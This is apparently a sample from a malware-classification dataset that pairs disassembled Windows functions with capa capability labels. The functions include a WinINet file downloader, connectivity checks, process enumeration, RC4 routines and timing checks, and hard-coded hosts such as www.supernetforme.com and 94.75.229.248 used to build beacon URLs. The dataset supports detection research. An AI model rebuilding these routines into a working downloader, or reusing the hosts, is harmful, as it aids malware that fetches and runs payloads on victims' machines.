joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005f8d
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
push esi
push edi
mov esi, str.Accept:___r_n_r_n
lea edi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 8], 0xff
and dword [ebp - 0x80], 0
push 0
push 0
push 0
push 1
push 0x1000b354
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10005fd2
xor eax, eax
jmp 0x100060d8
push 0x4000000
push 0x4000000
push 0
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jne 0x1000600b
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x100060d8
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0xffffffff
jne 0x10006045
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
jmp 0x100060d8
lea eax, [ebp - 0x80]
push eax
push 0x32
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x88]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x10006078
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x90]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x100060d8
cmp dword [ebp - 0x80], 0
jne 0x10006080
jmp 0x100060c0
push 0
lea eax, [ebp - 0x8c]
push eax
push dword [ebp - 0x80]
lea eax, [ebp - 0x7c]
push eax
push dword [ebp - 0x90]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x100060b9
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x90]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x100060d8
push 1
pop eax
test eax, eax
jne 0x10006045
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x90]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
leave
ret

Function at 0x100060dc
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
mov eax, dword [ebp - 4]
and eax, 1
test eax, eax
je 0x100060fb
push 1
pop eax
jmp 0x100060fd
xor eax, eax
leave
ret
Function at 0x100060ff
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd40
mov dword [ebp - 0x2a0], 0x12c
and dword [ebp - 0xc30], 0
and dword [ebp - 0xc2c], 0
mov dword [ebp - 0xd40], 1
mov dword [ebp - 0x118], 4
mov dword [ebp - 0x114], 1
and dword [ebp - 0xd3c], 0
and dword [ebp - 0xbe0], 0
and dword [ebp - 0xc28], 0
and dword [ebp - 4], 0
and dword [ebp - 0xbdc], 0
mov dword [ebp - 0x10], 1
push dword [ebp + 0xc]
call fcn.100057c7
pop ecx
and dword [ebp - 0xbd8], 0
jmp 0x10006184
mov eax, dword [ebp - 0xbd8]
inc eax
mov dword [ebp - 0xbd8], eax
cmp dword [ebp - 0xbd8], 0x2710
jae 0x100061c8
push 0
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
mov eax, dword [ebp - 0x29c]
and eax, 0x20
mov dword [ebp - 0xd38], eax
cmp dword [ebp - 0xd38], 0
je 0x100061c4
push 0x1d4c0
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100061c6
jmp 0x100061c8
jmp 0x10006177
push 1
call fcn.1000818a
pop ecx
test eax, eax
jne 0x100061db
xor eax, eax
jmp 0x10006361
lea eax, [ebp - 0xc24]
push eax
call fcn.10005be2
pop ecx
and byte [ebp - 0xbe4], 0
cmp dword [0x1000b218], 0
jne 0x1000623d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0xc24]
push eax
call fcn.100060dc
push eax
push dword [0x1000e878]
push 0x12c
push dword [0x1000a7c0]
push dword [0x1000a7bc]
push dword [ebp + 8]
push str.http:___s_search.php_q_d._d._d._d._d._s.1._d
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x28
jmp 0x10006280
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0xc24]
push eax
call fcn.100060dc
push eax
push dword [0x1000e878]
push 0x12c
push dword [0x1000a7c0]
push dword [0x1000a7bc]
push dword [ebp + 8]
push str.http:___s_dupe.php_q_d._d._d._d._d._s.1._d
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x28
push dword [0x1000a7c0]
push dword [0x1000a7bc]
push str._d_d
lea eax, [ebp - 0x2d4]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea eax, [ebp - 0x2d4]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
mov dword [ebp - 0xbdc], eax
lea eax, [ebp - 0xbe0]
push eax
push 1
lea eax, [ebp - 0x110]
push eax
call fcn.10008350
add esp, 0xc
mov dword [ebp - 0xc28], eax
cmp dword [ebp - 0xbe0], 0xa
jbe 0x1000633c
push dword [ebp - 0xbdc]
lea eax, [ebp - 0x2d4]
push eax
lea eax, [ebp - 0xd34]
push eax
call fcn.10007fd0
add esp, 0xc
push dword [ebp - 0xbe0]
push dword [ebp - 0xc28]
lea eax, [ebp - 0xd34]
push eax
call fcn.100080a1
add esp, 0xc
push dword [ebp - 0xbe0]
push dword [ebp - 0xc28]
call fcn.100078a9
pop ecx
pop ecx
test eax, eax
je 0x10006333
call fcn.10008759
push 1
pop eax
jmp 0x10006361
call fcn.10008759
xor eax, eax
jmp 0x10006361
cmp dword [ebp - 0xc28], 0
je 0x1000635a
push dword [ebp - 0xc28]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
call fcn.10008759
xor eax, eax
leave
ret
Function at 0x10006363
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0x64
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov dword [0x1000b1fc], eax
and dword [ebp - 8], 0
jmp 0x10006384
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x14
jae 0x100063a1
push 0x32
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov ecx, dword [ebp - 8]
mov edx, dword [0x1000b1fc]
mov dword [edx + ecx*4], eax
jmp 0x1000637d
push str.www.supernetforme.com
mov eax, dword [0x1000b1fc]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.94.75.229.248
mov eax, dword [0x1000b1fc]
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.www.superwebbysearch.com
mov eax, dword [0x1000b1fc]
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [0x1000b1fc]
and dword [eax + 0xc], 0
push 0x400
lea eax, [ebp - 0xc]
push eax
call fcn.1000573c
pop ecx
pop ecx
cmp eax, 0xffffffff
jne 0x100063fc
jmp 0x10006493
push 1
pop eax
test eax, eax
je 0x10006489
and dword [ebp - 8], 0
mov eax, dword [ebp - 8]
mov ecx, dword [0x1000b1fc]
cmp dword [ecx + eax*4], 0
jne 0x10006420
and dword [ebp - 4], 0
jmp 0x10006472
push dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov ecx, dword [0x1000b1fc]
mov eax, dword [ecx + eax*4]
mov dword [ebp - 0x10], eax
push dword [ebp - 0x10]
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
call fcn.100060ff
pop ecx
pop ecx
test eax, eax
je 0x1000645a
cmp dword [0x1000b218], 0
je 0x10006458
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x10006472
cmp dword [0x1000b218], 0
je 0x1000646b
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 1
pop eax
test eax, eax
jne 0x1000640b
mov eax, dword [0x1000a7b8]
imul eax, eax, 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100063fc
lea eax, [ebp - 0xc]
push eax
call fcn.100056fa
pop ecx
leave
ret
Function at 0x10006717
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
and dword [ebp - 0x130], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0xffffffff
jne 0x10006756
push dword [ebp - 0x134]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x130]
jmp 0x10006827
mov dword [ebp - 0x128], 0x128
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x134]
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x1000678d
push dword [ebp - 0x134]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x130]
jmp 0x10006827
and dword [ebp - 0x12c], 0
jmp 0x100067a3
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x12c]
cmp eax, dword [0x1000e87c]
jae 0x100067fb
lea eax, [ebp - 0x104]
push eax
call fcn.1000715e
pop ecx
mov eax, dword [ebp - 0x12c]
imul eax, eax, 0x44
add eax, 0x1000b358
push eax
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x100067f9
mov eax, dword [ebp - 0x12c]
imul eax, eax, 0x44
mov ecx, dword [0x1000e878]
or ecx, dword [eax + 0x1000b398]
mov dword [0x1000e878], ecx
jmp 0x10006796
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x134]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000678d
push dword [ebp - 0x134]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x130]
leave
ret
Function at 0x10007601
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
push 0x1000ad4c
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x408]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x100076e8
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor ecx, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10007689
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
push str._s_u.exe
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
lea eax, [ebp - 0x808]
push eax
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x10007699
push dword [ebp + 8]
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x408]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x80c], eax
cmp dword [ebp - 0x80c], 0xffffffff
je 0x100076e3
mov eax, dword [ebp - 0x80c]
jmp 0x10007789
jmp 0x10007786
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
xor ecx, ecx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10007727
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
push str._s_d.exe
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
jmp 0x1000773f
push dword [ebp + 8]
push str._s.exe
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x408]
push eax
push dword [ebp + 8]
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x80c], eax
cmp dword [ebp - 0x80c], 0xffffffff
je 0x10007786
mov eax, dword [ebp - 0x80c]
jmp 0x10007789
or eax, 0xffffffff
leave
ret
Function at 0x10007f53
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], 0xedb88320
mov dword [ebp - 8], 0
jmp 0x10007f72
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x100
jge 0x10007fc9
mov ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], 8
jmp 0x10007f93
mov edx, dword [ebp - 0xc]
sub edx, 1
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 0
jle 0x10007fba
mov eax, dword [ebp - 4]
and eax, 1
test eax, eax
je 0x10007fb0
mov ecx, dword [ebp - 4]
shr ecx, 1
xor ecx, dword [ebp - 0x10]
mov dword [ebp - 4], ecx
jmp 0x10007fb8
mov edx, dword [ebp - 4]
shr edx, 1
mov dword [ebp - 4], edx
jmp 0x10007f8a
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [eax*4 + 0x1000e884], ecx
jmp 0x10007f69
mov esp, ebp
pop ebp
ret

Function at 0x100080a1
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
xor ecx, ecx
mov cl, byte [eax + 0x100]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 8]
xor eax, eax
mov al, byte [edx + 0x101]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
mov dword [ebp - 0x14], 0
jmp 0x100080db
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0x10]
jge 0x1000816e
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
xor ecx, ecx
mov cl, byte [eax]
mov edx, dword [ebp - 0x10]
add edx, ecx
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
and eax, 0xff
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0xc]
xor edx, edx
mov dl, byte [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x10]
mov dl, byte [ecx]
mov byte [eax], dl
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x10]
mov cl, byte [ebp - 4]
mov byte [eax], cl
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0xc]
xor eax, eax
mov al, byte [edx]
add eax, dword [ebp - 4]
and eax, 0xff
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 8]
mov cl, byte [ecx]
xor cl, byte [edx + eax]
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0x14]
mov byte [edx], cl
jmp 0x100080d2
mov eax, dword [ebp + 8]
mov cl, byte [ebp - 0x10]
mov byte [eax + 0x101], cl
mov edx, dword [ebp + 8]
mov al, byte [ebp - 0xc]
mov byte [edx + 0x100], al
mov esp, ebp
pop ebp
ret
Function at 0x1000818a
Capabilities:
Initialize iwebbrowser2

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 8], 0
and dword [ebp - 4], 0
push 0x1000ec84
push 0x1000a798
push 5
push 0
push 0x1000a788
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jl 0x100081c3
cmp dword [0x1000ec84], 0
jne 0x100081c8
or eax, 0xffffffff
jmp 0x10008212
cmp dword [ebp + 8], 0
je 0x100081fa
push 0
mov eax, dword [0x1000ec84]
mov eax, dword [eax]
push dword [0x1000ec84]
call dword [eax + 0xa4]
push 0xffffffffffffffff
mov eax, dword [0x1000ec84]
mov eax, dword [eax]
push dword [0x1000ec84]
call dword [eax + 0xf0]
jmp 0x1000820f
push 0xffffffffffffffff
mov eax, dword [0x1000ec84]
mov eax, dword [eax]
push dword [0x1000ec84]
call dword [eax + 0xa4]
push 1
pop eax
leave
ret

Function at 0x10008214
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
mov eax, dword [0x1000ec84]
mov eax, dword [eax]
push dword [0x1000ec84]
call dword [eax + 0xe0]
test eax, eax
jl 0x10008288
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x3e8
div ecx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 8]
cmp eax, 0x258
jle 0x10008275
xor eax, eax
jmp 0x1000828a
cmp dword [ebp - 4], 1
je 0x10008286
cmp dword [ebp - 4], 3
je 0x10008286
push 1
pop eax
jmp 0x1000828a
jmp 0x1000822c
xor eax, eax
leave
ret

Function at 0x1000868b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 4], 0
and dword [ebp - 8], 0
and dword [ebp - 0xc], 0
or dword [ebp - 0x14], 0xffffffff
and dword [ebp - 0x10], 0
cmp dword [ebp + 8], 0
je 0x100086b1
cmp dword [ebp + 0xc], 0
jne 0x100086b9
or eax, 0xffffffff
jmp 0x10008757
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 8]
call fcn.10008350
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x100086d8
xor eax, eax
jmp 0x10008757
push 0
push 0
push 1
push 0
push 0
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x100086ff
or dword [ebp - 0xc], 0xffffffff
jmp 0x10008755
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 4]
je 0x10008722
or dword [ebp - 0xc], 0xffffffff
jmp 0x10008729
mov dword [ebp - 0xc], 1
cmp dword [ebp - 8], 0
je 0x10008741
push dword [ebp - 8]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [ebp - 0x14], 0xffffffff
je 0x10008750
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
jmp 0x10008757
jmp 0x10008729
leave
ret
Function at 0x11d61270
Capabilities:
Link many functions at runtime

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x11e13738
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
cmp dword [esi + 4], ebx
je 0x11d612ab
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
add esp, 0x20
ret
call fcn.11dc4d90
test eax, eax
je 0x11d6145f
lea eax, [esp + 0xc]
mov ecx, esi
push eax
push str.winahdcore32.dll
mov dword [esp + 0x14], ebx
call fcn.11d616e0
lea ecx, [esi + 8]
push 1
push ecx
lea ecx, [esp + 0x1c]
mov edi, eax
call fcn.11daa230
mov eax, dword [esp + 0xc]
mov dword [esp + 0x28], ebx
cmp eax, ebx
je 0x11d612fb
cmp edi, ebx
je 0x11d612fb
mov eax, dword [esi + 0x30]
lea ecx, [esi + 0x2c]
push edi
push eax
call fcn.11da9190
cmp dword [esi + 0x28], ebx
jne 0x11d61344
mov dword [esi + 0x28], edi
mov eax, dword [0x11e4b918]
cmp eax, ebx
je 0x11d61387
push str.winahdcore32.dll
lea ecx, [esp + 0x14]
call fcn.11d9b3c0
mov edx, dword [eax]
mov eax, dword [esi + 0x28]
push edx
push eax
push str.CDetoursMgr::InitFuncPtrs___1_1___d____s_
push 0x11e2d244
push 0xffffffffffffffff
mov byte [esp + 0x3c], 1
call fcn.11d65710
add esp, 0x14
mov byte [esp + 0x28], bl
lea ecx, [esp + 0x10]
jmp 0x11d61382
cmp dword [0x11e4b918], ebx
je 0x11d61387
push str.winahdcore32.dll
lea ecx, [esp + 0x14]
call fcn.11d9b3c0
mov ecx, dword [eax]
mov edx, dword [esi + 0x28]
push ecx
push edx
push str.CDetoursMgr::InitFuncPtrs___1_2___d____s_
push 0x11e2d244
push 0xffffffffffffffff
mov byte [esp + 0x3c], 2
call fcn.11d65710
add esp, 0x14
mov byte [esp + 0x28], bl
lea ecx, [esp + 0x10]
call fcn.11d9bb60
mov eax, dword [esi + 0x28]
cmp eax, ebx
jne 0x11d613b3
lea ecx, [esp + 0x14]
mov dword [esp + 0x28], 0xffffffff
call fcn.11daa290
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
add esp, 0x20
ret
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.SetTobeTargetProcessByName
push eax
call edi
mov dword [esi + 0x3c], eax
mov eax, dword [esi + 0x28]
push str.SetTobeTargetProcessByProcID
push eax
call edi
mov ecx, dword [esi + 0x28]
push str.IsInSecuDesktop
push ecx
mov dword [esi + 0x40], eax
call edi
mov edx, dword [esi + 0x28]
push str.SetNetShareWhitePath
push edx
mov dword [esi + 0x44], eax
call edi
mov dword [esi + 0x48], eax
mov eax, dword [esi + 0x28]
push str.SetProtectdIPAndPort
push eax
call edi
mov dword [esi + 0x4c], eax
mov dword [esi + 4], 1
cmp dword [0x11e4b918], ebx
je 0x11d61421
push 1
push str.CDetoursMgr::InitFuncPtrs___2__d_
push 0x11e2d244
push 0xffffffffffffffff
call fcn.11d65710
add esp, 0x10
cmp dword [esi + 4], ebx
jne 0x11d6144e
lea ecx, [esp + 0x14]
mov dword [esi + 0x28], ebx
mov dword [esp + 0x28], 0xffffffff
call fcn.11daa290
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
add esp, 0x20
ret
lea ecx, [esp + 0x14]
mov dword [esp + 0x28], 0xffffffff
call fcn.11daa290
mov eax, dword [esi + 4]
mov ecx, dword [esp + 0x20]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret
Function at 0x11d621b0
Capabilities:
Access peb ldr_data

Disassembly:
mov ecx, 0x11e45528
jmp 0x11d621e0
push 0xffffffffffffffff
push 0x11e1385c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
lea ecx, [esi + 0xc]
call fcn.11da9d00
mov eax, dword [0x11e1da04]
lea ecx, [esi + 0x2c]
xor ebx, ebx
mov dword [esp + 0x18], ebx
mov dword [ecx], eax
lea edi, [esi + 0x30]
mov dword [edi], ebx
mov dword [edi + 0xc], ebx
mov dword [edi + 8], ebx
mov dword [edi + 4], ebx
mov dword [esi + 0x40], ebx
mov dword [esi + 0x4c], ebx
mov dword [esi + 0x48], ebx
mov dword [esi + 0x44], ebx
mov byte [esp + 0x18], 3
mov dword [esi], 0x11e1d564
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
call fcn.11d9b8d0
push 0xffffffffffffffff
push ebx
mov ecx, edi
call fcn.11d63790
mov edi, dword [esi + 0x40]
cmp edi, ebx
je 0x11d62283
mov eax, dword [esi + 0x44]
mov ecx, eax
dec eax
test ecx, ecx
je 0x11d62274
push ebp
lea ebp, [eax + 1]
mov ecx, edi
call fcn.11d635f0
add edi, 0x10
dec ebp
jne 0x11d62266
pop ebp
mov edx, dword [esi + 0x40]
push edx
call fcn.11db015e
add esp, 4
mov dword [esi + 0x40], ebx
mov ecx, dword [esp + 0x10]
mov dword [esi + 0x48], ebx
mov dword [esi + 0x44], ebx
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x11d63070
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x11e13a40
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
xor eax, eax
push ebp
mov dword [esp + 0xc], eax
push esi
mov dword [esp + 0x14], eax
push edi
mov edi, dword [esp + 0x30]
mov dword [esp + 0x1c], eax
or eax, 0xffffffff
push 0x3a
mov ebp, ecx
push edi
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
call fcn.11db083c
mov esi, eax
add esp, 8
test esi, esi
jne 0x11d630d8
lea ecx, [esp + 0x10]
push ecx
push edi
mov ecx, ebp
call fcn.11d63200
or ebp, 0xffffffff
jmp 0x11d63175
mov eax, esi
lea ecx, [esp + 0xc]
sub eax, edi
sar eax, 1
push eax
push edi
call fcn.11d9b770
add esi, 2
lea ecx, [esp + 0x30]
push esi
mov dword [esp + 0x2c], 0
call fcn.11d9b3c0
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 1
call fcn.11d9f890
lea ecx, [esp + 0xc]
call fcn.11d9f570
mov eax, dword [esp + 0xc]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x11d6312d
lea edx, [esp + 0x10]
mov ecx, ebp
push edx
push eax
call fcn.11d63200
lea ecx, [esp + 0x30]
call fcn.11d9f890
lea ecx, [esp + 0x30]
call fcn.11d9f570
mov eax, dword [esp + 0x30]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x11d63157
lea ecx, [esp + 0x10]
push ecx
push eax
mov ecx, ebp
call fcn.11d63350
lea ecx, [esp + 0x30]
mov byte [esp + 0x28], 0
call fcn.11d9bb60
or ebp, 0xffffffff
lea ecx, [esp + 0xc]
mov dword [esp + 0x28], ebp
call fcn.11d9bb60
cmp dword [esp + 0x10], ebp
jne 0x11d63181
cmp dword [esp + 0x14], ebp
je 0x11d631ea
mov edi, dword [esp + 0x34]
push ebp
mov ecx, edi
mov esi, dword [edi + 4]
lea edx, [esi + 1]
push edx
call fcn.11d63640
mov ecx, dword [edi]
mov eax, esi
shl eax, 4
add eax, ecx
mov ecx, dword [esp + 0x10]
mov dword [eax], ecx
mov edx, dword [esp + 0x14]
mov dword [eax + 4], edx
mov ecx, dword [esp + 0x18]
mov dword [eax + 8], ecx
mov edx, dword [esp + 0x1c]
mov dword [eax + 0xc], edx
mov eax, dword [0x11e4b918]
test eax, eax
je 0x11d631ea
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push eax
mov eax, dword [esp + 0x14]
push ecx
push edx
push eax
push esi
push 0x11e2d870
push str.IPG_16656
push 4
call fcn.11d65710
add esp, 0x20
mov ecx, dword [esp + 0x20]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x20
ret 8